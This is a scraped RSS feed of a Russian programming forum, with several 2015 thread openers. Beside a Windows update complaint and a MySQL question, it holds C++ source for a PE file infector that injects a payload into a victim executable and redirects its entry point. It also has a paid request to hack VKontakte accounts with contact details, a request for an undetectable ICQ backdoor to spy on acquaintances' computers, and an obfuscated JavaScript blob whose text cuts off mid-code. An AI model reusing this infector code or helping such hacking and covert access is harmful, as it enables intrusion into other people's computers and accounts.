<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/28&quot;&gt;Свободное общение&lt;/a&gt;&lt;br /&gt;Автор темы: Anton93&lt;br /&gt;Автор последнего сообщения: Anton93&lt;br /&gt;Количество ответов: 8</description>
<content:encoded>Доброго времени суток. &lt;br /&gt;&lt;br /&gt; Пару недель назад появилась проблема, которая изолировала &lt;u&gt;нормальную&lt;/u&gt; работу всех моих ПК под управлением Windows 8. &lt;br /&gt;&lt;br /&gt; Суть проблемы в том, что после выхода обновления 8.1, стало появляться &lt;u&gt;назойливое окно о предложении проапргрейдить свою ОС&lt;/u&gt; до более новой. Но если &lt;u&gt;раньше его можно было отбить&lt;/u&gt; соответствующей кнопкой, то &lt;u&gt;сейчас меня ставят тупо перед фактом&lt;/u&gt; о том что - &lt;u&gt;дистрибутив загружен и готов к установке&lt;/u&gt;. Причем откладывать тоже можно не бесконечно, в какой то момент во сплывающем окне остается только кнопка перезагрузить, &lt;u&gt;после чего начинается принудительное обновление до 8.1&lt;/u&gt;. &lt;br /&gt;&lt;br /&gt; Сразу отвечу на вопросы почему я против этого обновления: &lt;br /&gt; Как я и предполагал, установления обновления на &quot;горячую&quot; ОС ни к чему хорошему не приводит, сотни конфигураций, драйверов, служб итд повылетали нахер, многое оказалось не совместимо, понизилась производительность, итд. &lt;br /&gt;&lt;br /&gt; Я начал искать как можно &lt;u&gt;легально принудительно&lt;/u&gt; запретить установку обновления. Нашел бюллетень безопасности, который интегрирует загрузчик обновления до 8.1. Грохнул. И запретил устанавливать его вообще. Проблема пропала на наделю. Сегодня я опять в корне C: обнаружил папку $windows.~bt, скрытый каталог куда загружается обновление. И оно было опять загружено (все 6ГБ). &lt;br /&gt;&lt;br /&gt; &lt;span style=&quot;color:red&quot;&gt;Собственно самый главный вопрос: как легально запретить насильное обновление? &lt;br /&gt;&lt;br /&gt; Разумного ответа в сети - я не нашел. Но недокументированные возможности по этой вещи точно есть. Прошу, кто знает, подскажите.&lt;/span&gt; &lt;br /&gt;&lt;br /&gt; P.S. впринципе можно отследить процесс который пишет их теперь, но у меня сейчас завал в реале, некогда исследованиями заниматься. &lt;br /&gt; Windows 8 лицензия. Дистрибутив OEM.</content:encoded>
<category>Свободное общение</category>
<dc:creator>Anton93</dc:creator>
<guid>https://delfcode.ru/forum/28-1311-1</guid>
</item>
<item>
<title>В контакте</title>
<link>https://delfcode.ru/forum/21-1421-1</link>
<pubDate>Tue, 15 Sep 2015 16:19:01 GMT</pubDate>
<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/21&quot;&gt;Интернет и сети&lt;/a&gt;&lt;br /&gt;Автор темы: Лова&lt;br /&gt;Автор последнего сообщения: Лова&lt;br /&gt;Количество ответов: 0</description>
<content:encoded>Нужен человек, способный взламывать страницы ВКонтакте. &lt;br /&gt; От 20 страниц в неделю, работа стабильная, оплата по факту либо работаем через гаранта. &lt;br /&gt;&lt;br /&gt; Связь: &lt;br /&gt; ICQ - 698882980 &lt;br /&gt; Почта: &lt;a href=&quot;mailto:ivakaha@yandex.ru&quot; class=&quot;link&quot;&gt;ivakaha@yandex.ru&lt;/a&gt;</content:encoded>
<category>Интернет и сети</category>
<dc:creator>Лова</dc:creator>
<guid>https://delfcode.ru/forum/21-1421-1</guid>
</item>
<item>
<title>[C++] Файловый инфектор</title>
<link>https://delfcode.ru/forum/35-1405-1</link>
<pubDate>Sat, 01 Aug 2015 15:12:28 GMT</pubDate>
<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/35&quot;&gt;Остальные языки программирования&lt;/a&gt;&lt;br /&gt;Описание темы: Помогите чуть-чуть&lt;br /&gt;Автор темы: Slash&lt;br /&gt;Автор последнего сообщения: Slash&lt;br /&gt;Количество ответов: 4</description>
<content:encoded>Вообщем, такой код набросал: &lt;br /&gt; &lt;!--uzcode--&gt;&lt;div class=&quot;bbCodeBlock&quot;&gt;&lt;div class=&quot;bbCodeName&quot; style=&quot;padding-left:5px;font-weight:bold;font-size:7pt&quot;&gt;Код&lt;/div&gt;&lt;div class=&quot;codeMessage&quot; style=&quot;border:1px inset;max-height:200px;overflow:auto;height:expression(this.scrollHeight&lt;5?this.style.height:scrollHeight&gt;200?&apos;200px&apos;:&apos;&apos;+(this.scrollHeight+5)+&apos;px&apos;);&quot;&gt;&lt;!--uzc--&gt; &lt;br /&gt; #include &lt;windows.h&gt; &lt;br /&gt; #include &lt;stdlib.h&gt; &lt;br /&gt; #include &lt;string.h&gt; &lt;br /&gt; #include &lt;tchar.h&gt; &lt;br /&gt; #include &lt;string.h&gt; &lt;br /&gt; #include &lt;stdio.h&gt; &lt;br /&gt; #include &lt;imagehlp.h&gt; &lt;br /&gt;&lt;br /&gt; char FileAlignment; &lt;br /&gt;&lt;br /&gt; DWORD CureLastSection(char* pFileMap&amp;#41; &lt;br /&gt; { &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER&amp;#41;pFileMap; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;PIMAGE_NT_HEADERS pNTHeaders = (PIMAGE_NT_HEADERS&amp;#41;(pFileMap + dos-&gt;e_lfanew&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;PIMAGE_SECTION_HEADER pSectionHeader = IMAGE_FIRST_SECTION(pNTHeaders&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;int numSections = pNTHeaders-&gt;FileHeader.NumberOfSections; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;for(int i = 0; i &lt; numSections; i++&amp;#41;{ &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if(i == numSections-1&amp;#41;{ &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;pSectionHeader-&gt;Misc.VirtualSize += 0x40000;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;pSectionHeader-&gt;SizeOfRawData += 0x40000;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;pNTHeaders-&gt;OptionalHeader.SizeOfImage += 0x40000; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;pSectionHeader-&gt;Characteristics = 0xa0000020; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;pNTHeaders-&gt;OptionalHeader.SizeOfImage = pSectionHeader-&gt;Misc.VirtualSize + pSectionHeader-&gt;VirtualAddress; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;pNTHeaders-&gt;OptionalHeader.AddressOfEntryPoint = pSectionHeader-&gt;VirtualAddress; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;MessageBoxA(0, (const char*&amp;#41;pSectionHeader-&gt;Name, &quot;Sec name:&quot;, 0&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;MessageBoxA(0, &quot;Last Section Curred!&quot;, &quot;:&amp;#41;&quot;, 0&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;} else pSectionHeader++; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;} &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;return 0; &lt;br /&gt; } &lt;br /&gt;&lt;br /&gt; int WINAPI WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR lpCmdLine,int nCmdShow&amp;#41;{&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;HANDLE hFile, hVir, hMapping; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;DWORD d, offset; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;DWORD br; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;char *mapping, *entry; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;PIMAGE_DOS_HEADER dos; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;PIMAGE_NT_HEADERS nt; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;char virBytes&amp;#91;16384]; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;int i; &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;DeleteFile( L&quot;C:&amp;#92;&amp;#92;AAA&amp;#92;&amp;#92;1.exe&quot;&amp;#41;; &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;CopyFile(L&quot;C:&amp;#92;&amp;#92;AAA&amp;#92;&amp;#92;1_copy.exe&quot;, L&quot;C:&amp;#92;&amp;#92;AAA&amp;#92;&amp;#92;1.exe&quot;, false&amp;#41;; &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;hFile = CreateFile(L&quot;C:&amp;#92;&amp;#92;AAA&amp;#92;&amp;#92;1.exe&quot;, GENERIC_READ|GENERIC_WRITE, 0, 0, OPEN_EXISTING, 0, 0&amp;#41;; &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;if(hFile!=INVALID_HANDLE_VALUE&amp;#41; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;{ &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;d = GetFileSize(hFile, 0&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;hMapping = CreateFileMapping(hFile, 0, PAGE_READWRITE, 0, d, 0&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;mapping = (char*&amp;#41;MapViewOfFile(hMapping, FILE_MAP_READ|FILE_MAP_WRITE, 0, 0, d&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;dos = (PIMAGE_DOS_HEADER&amp;#41;mapping; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;nt = (PIMAGE_NT_HEADERS&amp;#41;(mapping + dos-&gt;e_lfanew&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;DWORD dwBytesWritten = 0; &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;hVir = CreateFile(L&quot;C:&amp;#92;&amp;#92;AAA&amp;#92;&amp;#92;inf.exe&quot;, GENERIC_READ, 0, 0, OPEN_EXISTING, 0, 0&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;SetFilePointer(hVir, 0, NULL, FILE_BEGIN&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ReadFile(hVir, virBytes, 16384, &amp;br, NULL &amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;CloseHandle(hVir&amp;#41;; &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;SetFilePointer(hFile, 90112, NULL, FILE_BEGIN&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;WriteFile( hFile, virBytes, 16384, &amp;br, NULL &amp;#41;; &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;CureLastSection(mapping&amp;#41;; &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;UnmapViewOfFile(mapping&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;CloseHandle(hMapping&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;CloseHandle(hFile&amp;#41;; &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;MessageBoxA(0, &quot;OK&quot;, &quot;:&amp;#41;&quot;, 0&amp;#41;; &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;}else MessageBoxA(0, &quot;Cant open!&quot;, &quot;:&amp;#41;!&quot;, 0&amp;#41;; &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;return 1; &lt;br /&gt; } &lt;br /&gt; &lt;!--/uzc--&gt;&lt;/div&gt;&lt;/div&gt;&lt;!--/uzcode--&gt; &lt;br /&gt;&lt;br /&gt; Но не работает - почему? &lt;br /&gt; Алгоритм: &lt;br /&gt; 1.Дописываю тело inf.exe в конец жертвы 1.exe &lt;br /&gt; 2.Ищу последнюю секцию &lt;br /&gt; 3.Расширяю ее(а правильно ли??? Если нет - подскажите в чем ошибка) &lt;br /&gt; 4.Меняю точку входа на начало последней секции(а так можно? может нужно на конец последней секции? а может на новую точку входа inf.exe)</content:encoded>
<category>Остальные языки программирования</category>
<dc:creator>Slash</dc:creator>
<guid>https://delfcode.ru/forum/35-1405-1</guid>
</item>
<item>
<title>ICQ-backdor</title>
<link>https://delfcode.ru/forum/13-1398-1</link>
<pubDate>Mon, 15 Jun 2015 19:03:33 GMT</pubDate>
<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/13&quot;&gt;Программы&lt;/a&gt;&lt;br /&gt;Описание темы: Помогите найти.&lt;br /&gt;Автор темы: pavelpasha&lt;br /&gt;Автор последнего сообщения: pavelpasha&lt;br /&gt;Количество ответов: 2</description>
<content:encoded>Лет 5 назад у Вас на форуме нашел простенький ICQ бэкдор. С билдером и мануалом. Не было возни ни с настройкой DNS, ни с портами, ни с фаерволами. По своей стабильности и ресуросемкости, а также весу сервера оставлял далеко позади своих громоздких братьев с бэкконектом. Но самое главное! Не палился. Ничем! Никаких крипторов, публичные копии которых попадали в базы уже на след. Функционал - для моих целей более чем достойный. Во всяком случае всегда можно воспользоваться функцией загрузки и загрузить на компьютер жертвы что душе угодно. Никой мороки! С тех пор утекло много воды, интерес со временем остыл и все файлы были удалены. А в последнее время появилась надобность, и подумал что он подошел бы идеально. Но вот беда - теперь не могу найти. Хочется иметь доступ к 1-2 компьютерам лично знакомых мне людей. Громоздкие RAT-ы даже рассматривать не хочу. Куча свистоперделок и суета с крипторами, отстуком стабильностью и т.д. Может завалялся у кого? &lt;br /&gt; PS: Надеюсь не ошибся разделом.</content:encoded>
<category>Программы</category>
<dc:creator>pavelpasha</dc:creator>
<guid>https://delfcode.ru/forum/13-1398-1</guid>
</item>
<item>
<title>HTTP Mysql</title>
<link>https://delfcode.ru/forum/28-1377-1</link>
<pubDate>Thu, 16 Apr 2015 14:33:50 GMT</pubDate>
<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/28&quot;&gt;Свободное общение&lt;/a&gt;&lt;br /&gt;Автор темы: d4rkzy&lt;br /&gt;Автор последнего сообщения: d4rkzy&lt;br /&gt;Количество ответов: 0</description>
<content:encoded>Есть ли в mysql ограничения текста в таблицах? &lt;br /&gt;&lt;br /&gt; Если я буду записывать в колонки параграфы текстов - лагать не будет?</content:encoded>
<category>Свободное общение</category>
<dc:creator>d4rkzy</dc:creator>
<guid>https://delfcode.ru/forum/28-1377-1</guid>
</item>
<item>
<title>деобфускация javaScript</title>
<link>https://delfcode.ru/forum/28-1373-1</link>
<pubDate>Fri, 10 Apr 2015 17:33:36 GMT</pubDate>
<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/28&quot;&gt;Свободное общение&lt;/a&gt;&lt;br /&gt;Описание темы: деобфускация javaScript&lt;br /&gt;Автор темы: MAS&lt;br /&gt;Автор последнего сообщения: MAS&lt;br /&gt;Количество ответов: 2</description>
<content:encoded>вот тут нашел кое что, интересно что там??? &lt;img src=&quot;http://s5.ucoz.net/sm/23/wink.gif&quot; border=&quot;0&quot; align=&quot;absmiddle&quot; alt=&quot;wink&quot; /&gt; . Кто может деобфуцировать код: &lt;br /&gt; &lt;!--uSpoiler--&gt;&lt;div class=&quot;uSpoilerClosed&quot; id=&quot;uSpoiler4rTc8b&quot;&gt;&lt;div class=&quot;uSpoilerButBl&quot;&gt;&lt;input type=&quot;button&quot; class=&quot;uSpoilerButton&quot; onclick=&quot;if($(&apos;#uSpoiler4rTc8b&apos;)[0]){if ($(&apos;.uSpoilerText&apos;,$(&apos;#uSpoiler4rTc8b&apos;))[0].style.display==&apos;none&apos;){$(&apos;.uSpoilerText&apos;,$(&apos;#uSpoiler4rTc8b&apos;))[0].style.display=&apos;&apos;;$(&apos;.uSpoilerButton&apos;,$(&apos;#uSpoiler4rTc8b&apos;)).val(&apos;Закрыть спойлер&apos;);$(&apos;#uSpoiler4rTc8b&apos;).attr(&apos;class&apos;,&apos;uSpoilerOpened&apos;);}else {$(&apos;.uSpoilerText&apos;,$(&apos;#uSpoiler4rTc8b&apos;))[0].style.display=&apos;none&apos;;$(&apos;.uSpoilerButton&apos;,$(&apos;#uSpoiler4rTc8b&apos;)).val(&apos;Открыть спойлер&apos;);$(&apos;#uSpoiler4rTc8b&apos;).attr(&apos;class&apos;,&apos;uSpoilerClosed&apos;);}}&quot; value=&quot;Открыть спойлер&quot;/&gt;&lt;/div&gt;&lt;div class=&quot;uSpoilerText&quot; style=&quot;display:none;&quot;&gt;&lt;!--ust--&gt;&lt;!--uzcode--&gt;&lt;div class=&quot;bbCodeBlock&quot;&gt;&lt;div class=&quot;bbCodeName&quot; style=&quot;padding-left:5px;font-weight:bold;font-size:7pt&quot;&gt;Код&lt;/div&gt;&lt;div class=&quot;codeMessage&quot; style=&quot;border:1px inset;max-height:200px;overflow:auto;height:expression(this.scrollHeight&lt;5?this.style.height:scrollHeight&gt;200?&apos;200px&apos;:&apos;&apos;+(this.scrollHeight+5)+&apos;px&apos;);&quot;&gt;&lt;!--uzc--&gt; &lt;br /&gt; $=~&amp;#91;];$={___:++$,$$$$:(!&amp;#91;]+&quot;&quot;&amp;#41;&amp;#91;$],__$:++$,$_$_:(!&amp;#91;]+&quot;&quot;&amp;#41;&amp;#91;$],_$_:++$,$_$$:({}+&quot;&quot;&amp;#41;&amp;#91;$],$$_$:($&amp;#91;$]+&quot;&quot;&amp;#41;&amp;#91;$],_$$:++$,$$$_:(!&quot;&quot;+&quot;&quot;&amp;#41;&amp;#91;$],$__:++$,$_$:++$,$$__:({}+&quot;&quot;&amp;#41;&amp;#91;$],$$_:++$,$$$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+&quot;&quot;&amp;#41;&amp;#91;$.$_$]+($._$=$.$_&amp;#91;$.__$]&amp;#41;+($.$$=($.$+&quot;&quot;&amp;#41;&amp;#91;$.__$]&amp;#41;+((!$&amp;#41;+&quot;&quot;&amp;#41;&amp;#91;$._$$]+($.__=$.$_&amp;#91;$.$$_]&amp;#41;+($.$=(!&quot;&quot;+&quot;&quot;&amp;#41;&amp;#91;$.__$]&amp;#41;+($._=(!&quot;&quot;+&quot;&quot;&amp;#41;&amp;#91;$._$_]&amp;#41;+$.$_&amp;#91;$.$_$]+$.__+$._$+$.$;$.$$=$.$+(!&quot;&quot;+&quot;&quot;&amp;#41;&amp;#91;$._$$]+$.__+$._+$.$+$.$$;$.$=($.___&amp;#41;&amp;#91;$.$_]&amp;#91;$.$_];$.$($.$($.$$+&quot;&amp;#92;&quot;&quot;+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.__$+$.$__+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.$$_+$._$$+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.___+$._$_+$.$__+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.___+$.$$$+$.$$_$+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$._$_+&amp;nbsp;&amp;nbsp;$.$_$+(!&amp;#91;]+&quot;&quot;&amp;#41;&amp;#91;$._$_]+&quot;&amp;#92;&amp;#92;&quot;+$.$__+$.___+&quot;=&amp;#92;&amp;#92;&quot;+$.$__+$.___+$.$$$$+$.$_$_+(!&amp;#91;]+&quot;&quot;&amp;#41;&amp;#91;$._$_]+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.$$_+$._$$+$.$$$_+&quot;;&amp;#92;&amp;#92;&quot;+$.__$+$._$_+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.___+$.$$_+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.$$_+$._$_+$._$$+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$._$_+$.$__+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.$$_+$.$$$+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.___+$.$$_+&quot;&amp;#92;&amp;#92;&amp;nbsp;&amp;nbsp;&quot;+$.__$+$.$_$+$.__$+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$._$_+$.___+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.$$$+$.___+&quot;&amp;#92;&amp;#92;&quot;+$.$__+$.___+&quot;=&amp;#92;&amp;#92;&quot;+$.$__+$.___+$.$$$$+$.$_$_+(!&amp;#91;]+&quot;&quot;&amp;#41;&amp;#91;$._$_]+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.$$_+$._$$+$.$$$_+&quot;;&amp;#92;&amp;#92;&quot;+$.__$+$._$_+$.$$$$+$._+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.$_$+$.$$_+$.$$__+$.__+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.$_$+$.__$+$._$+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.$_$+$.$$_+&quot;&amp;#92;&amp;#92;&quot;+$.$__+$.___+&quot;&amp;#92;&amp;#92;&quot;+$.__$&amp;nbsp;&amp;nbsp;+$._$_+$.___+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.___+$.$__+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.__$+$.$$$+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.$$_+$.___+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.$$$+$.___+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$._$_+$.__$+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$&amp;nbsp;&amp;nbsp;._$_+$._$$+$.$$$+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.___+$._$$+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.___+$.$$_+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.__$+$.__$+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$._$_+$.__$+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.__$+$._$_+$.$_$_+&quot;&amp;nbsp;&amp;nbsp;&amp;#92;&amp;#92;&quot;+$.__$+$.$$_+$._$_+&quot;(&amp;#41;&amp;#92;&amp;#92;&quot;+$.$__+$.___+&quot;{&amp;#92;&amp;#92;&quot;+$.__$+$._$_+&quot;&amp;#92;&amp;#92;&quot;+$.$__+$.___+&quot;&amp;#92;&amp;#92;&quot;+$.$__+$.___+&quot;&amp;#92;&amp;#92;&quot;+$.$__+$.___+&quot;&amp;#92;&amp;#92;&quot;+$.$__+$.___+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.&amp;nbsp;&amp;nbsp;___+$.$$_+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.$$_+$._$_+$._$$+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$._$_+$.$__+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.$$_+$.$$$+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.___+$.$$_+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.$_$+$.__$+&quot;&amp;#92;&amp;#92;&quot;+$.__&amp;nbsp;&amp;nbsp;$+$._$_+$.___+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.$$$+$.___+&quot;&amp;#92;&amp;#92;&quot;+$.$__+$.___+&quot;=&amp;#92;&amp;#92;&quot;+$.$__+$.___+$.__+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.$$_+$._$_+$._+$.$$$_+&quot;;&amp;#92;&amp;#92;&quot;+$.__$+$._$_+&quot;&amp;#92;&amp;#92;&quot;+$.$__+$.___+&quot;&amp;#92;&amp;#92;&quot;+$.$__+$.___+&quot;&amp;#92;&amp;#92;&quot;+$.$__+$.___+&quot;&amp;#92;&amp;#92;&quot;+$.$__+$.___+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.___+$._$_+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.$$_+$._$_+$.$$__+&quot;&amp;#92;&amp;#92;&amp;nbsp;&amp;nbsp;&quot;+$.__$+$.__$+$.__$+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.$_$+$.___+$._$_+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$._$_+$.__$+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$._$_+$._$$+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.__$+$.__$+&quot;&amp;#92;&amp;#92;&quot;+$.$__+$.___+&quot;=&amp;#92;&amp;#92;&quot;&amp;nbsp;&amp;nbsp;+$.$__+$.___+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.$_$+$.$$_+$.$_$_+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.$$_+$.$$_+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.$_$+$.__$+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.$__+$.$$$+$.$_$_+$.__+$._$+&quot;&amp;#92;&amp;#92;&quot;+$.__$+&amp;nbsp;&amp;nbsp;$.$$_+$._$_+&quot;.&quot;+$._+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.$$_+$._$$+$.$$$_+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.$$_+$._$_+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.___+$.__$+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.$__+$.$$$+$.$$$_+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.$&amp;nbsp;&amp;nbsp;_$+$.$$_+$.__+&quot;;&quot;+$._$+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.$$_+$._$_+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.___+$.$$$+$.$$$+$.$$$$+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.$$_+$.$$_+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.__$+$._$$+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$._$_+$.$$$+&quot;&amp;#92;&amp;#92;&quot;+&amp;nbsp;&amp;nbsp;$.__$+$.___+$.$__+$.$__+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.__$+$.$$$+$.$$_$+$.__+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.$$$+$.__$+&quot;&amp;#92;&amp;#92;&quot;+$.$__+$.___+&quot;=&amp;#92;&amp;#92;&quot;+$.$__+$.___+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.$$_+$._$$+&amp;nbsp;&amp;nbsp;$.$$__+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.$$_+$._$_+$.$$$_+$.$$$_+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.$_$+$.$$_+&quot;.&amp;#92;&amp;#92;&quot;+$.__$+$.$$_+$.$$$+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.$_$+$.__$+$.$$_$+$.__+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.$&amp;nbsp;&amp;nbsp;_$+$.___+&quot;&amp;#92;&amp;#92;&quot;+$.$__+$.___+&quot;+&amp;#92;&amp;#92;&quot;+$.$__+$.___+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.$$_+$._$$+$.$$__+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.$$_+$._$_+$.$$$_+$.$$$_+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.$_$+$.$$_+&quot;.&amp;#92;&amp;#92;&quot;+&amp;nbsp;&amp;nbsp;$.__$+$.$_$+$.___+$.$$$_+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.$_$+$.__$+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.$__+$.$$$+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.$_$+$.___+$.__+&quot;;&amp;#92;&amp;#92;&quot;+$.__$+$._$_+&quot;&amp;#92;&amp;#92;&quot;+$.$__+$.___+&quot;&amp;#92;&amp;#92;&quot;+$.$__+$.___+&quot;&amp;#92;&amp;#92;&quot;+$.$__+$.___+&quot;&amp;#92;&amp;#92;&quot;+$.$__+$.___+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.$$_+$.$$_+$.$_$_+&quot;&amp;#92;&amp;#